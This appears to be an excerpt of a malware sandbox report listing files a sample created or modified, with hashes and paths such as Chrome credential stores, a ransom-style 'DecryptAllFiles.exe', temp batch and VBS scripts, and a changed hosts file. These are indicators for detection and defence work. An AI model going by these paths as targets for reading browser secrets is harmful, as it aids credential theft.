- SHA512 876cdc4bac046224e7c46ae8959a7f3c26b1100a2d66f452ef303bbe98da735fd3e5e6c809b9d3e3e95f9e3cf45ed008ffc8b72c3d80289e4f261ff9bad85073
- TLSH T137B00255C2027212D05603B4A6D595E8B970DF2AC70F1652E3E05A67DCAE6728536161
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 90755b02fee17fbb808d113b0d854c8c61991fa76f1dd4de4565a3fadf6e4d8c
- MD5 3c9fc06b715066f52ea48a25187b93fd
- SHA1 e8c92c76c74e5aadccdca66280e4eea68a21c5b6
- SHA512 fab59e48781c2b8134343849fdfe9e56db762819dd04599e233e4979ffbc9c06ee7bfb072011348a274d25ef85a34e81c5d30e4ca4ccb84415330bd1a7ccfa38
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Ox/SdVumjndM:1nbZeMrv/hGtx/ondM
- TLSH T175D3984B3A743002EDE5DA762CE054BB5D3CB16D8F15A5D428B620588EF2863B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 202KB
- SHA256 310cae0a396a01cba204170907fa0a232e151975dbebbbfe12cc6069a2505c74
- MD5 08c01774edc2cb657de4c0dd0ecae8af
- SHA1 06d40e607058f81b9052429b4313fd121c8aaa0f
- SHA512 2ae834ec37d6e5b8dd5ca218019d8d8529d8ff0c2c8540ee3fec51407727e45a53b34c4d765071742c954bab1ea48741c652c51fb3c8e88b489e5c6dca437624
- SSDEEP 6144:g8hdJxyATKB2qIMkv/LOXDnrOk0HOGm/SFyEEj:N60KB2qIXvjKrOjuGdF2j
- TLSH T1D41412765F190CE296BED5D67F0C700D8D5BA343A28EBC8C4159734A36CA2892B73D93
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 91KB
- SHA256 5af25bf8e848d462c410bf20495545c931b8a2a38f51d48935b2b262c0e7ac54
- MD5 4b29c721ea1ae8c4aa68a5f44d18458d
- SHA1 33bd11cd5547691d2eee1a30285e7c35abcf1139
- SHA512 c91cd9671793c5a5416f628089c208c9f6a3e329cbe074d34f1b3c36a38dbb3b3be08415676f7a7d7c11c941880bb5b79204e8419ef841f967f3dbf2b4afb51a
- SSDEEP 1536:dOC3rLmcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jq:Bfm3Qw/xLANk0mUW5GmRntSFCjEENO
- TLSH T1C99312B65E1646F395BA46D1729E7909CE12130E709FA9CC72A8138C61C51CD2B73F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 201KB
- SHA256 abc57f607d7ea741bb55b498111f42dc9f5abd0a0d9da2236182ce47bf1c5b22
- MD5 b8a18ce898ab5183bf5582bd51c8d694
- SHA1 625c17b7f591e06309f3ff14729204d5ddf2d788
- SHA512 737f9e6aa9fd59ee22162e4183e6062b84611c2f6d1a79228c873ac01b94a12d13c27e13d876a4e2094d2280fef83402fc2d48a01f2f13547e31115200b583be
- SSDEEP 6144:g3dJxyATKB2qIMkv/LOXDnrOk0HOGm/SFyEEj:W60KB2qIXvjKrOjuGdF2j
- TLSH T1B11412654F190DA2A6ADD5E67F5C300DCD176343A28FACC84169734A36CA2892BB2D93
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\b5900e82-1279-41ab-a32d-9fcf8b2fac6a.tmp
- Size 89KB
- SHA256 1fa6c11d6573cbc48de0e6120f0fd39af3b100ff47f0af58f0a6b053981f5dfd
- MD5 61f80525125ef1fa8ab3eddd1b62dea0
- SHA1 d1c52c8b2172e83f890df715a4af74177be0c16a
- SHA512 21dee083aee8da02306a412befdddbcc0b50838f63080c1bc668823491edaeebe41af04ebd8ab313e7e7c6fa98d465ad031e2f6f2e37cd88be3e66d4b92a1efb
- SSDEEP 1536:s3jurhcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jRh:S8h3Qw/xLANk0mUW5GmRntSFCjEEND
- TLSH T1CC9312BA5E2646E7957D4AC136AE7908CE12130D70AFA9CC326C638D61D41CD2B63F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\verpeliculas.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zglkrgkv.hdo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 247B
- SHA256 1305e7094d1ab8371ffdde78db07c1430fcf2931f769d0165bc6a1e378de22f1
- MD5 57270a2641fb682e58da09bf523a22d1
- SHA1 6a33a1dfb2735976200404cdbd8d2bbb36fa9c47
- SHA512 fe05b3d35bf7fc796a115e4f31b3a80237544717c6526e4e51f8705d1cdd4ac33f7f0f7a3b88146c2c27feab6a09bc6d77a2fb7c2ecaf8d26fb2dd54385d24ee
- TLSH T1C9D0978BB208CAA90001227B80F38D4CFAF048283B03BE305EA0CC0D3280CC089F6943
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 248B
- SHA256 04b3d5cf1a1813312e1c152bd866053e18d96c02f45e363818432235fb15f25f
- MD5 602465ba3c217fde91d105fc7f350a9d
- SHA1 487a397d5d9e7f84ec06e9163a5cabacea8e6b2b
- SHA512 d2c10e2503b17f391520de12504130a3a327da29d830aa441e31781e6fe6fc3726251d2cefc678532d4cb1a474e4b16d4862071db8d0682d7b38348acf7f34e7
- TLSH T1C2D0A7DBB249CAA90011627B80F38D4DFAE148683F13AE30AE65DD0E3681C8589F6943
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
- Size 50KB
- SHA256 95d9e6b524f461afe11bd411f5f03f5d51d2948fbcdd7c71bb9f367c5d528929
- MD5 5079698f8fc3003e2bac6051bbe0950a
- SHA1 2e9f9b4d06e09b78f31c0569679d1963f6ca0293
- SHA512 2cae2fa8bc898313fc1c6eb9af28b9e5c8aef26ec06dd74e5f59c693e133dda7e71d7ee9efdf83b456b5b57fd5f1b5e0e4d6a2e72cd1479c5cf728af0d00b12b
- SSDEEP 768:vddhlhJSVuF2FDpIBB6mIGhuFI/W/Rgr44C1XXGblfpp7KFc5xi:1dJFFwNE6TGhoiWGr44EXGblfL7ucu
- TLSH T1C033F65477F98511F1BF8BBA4DB192019B30B8A79C22D78E0AD1058E1AB3740CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH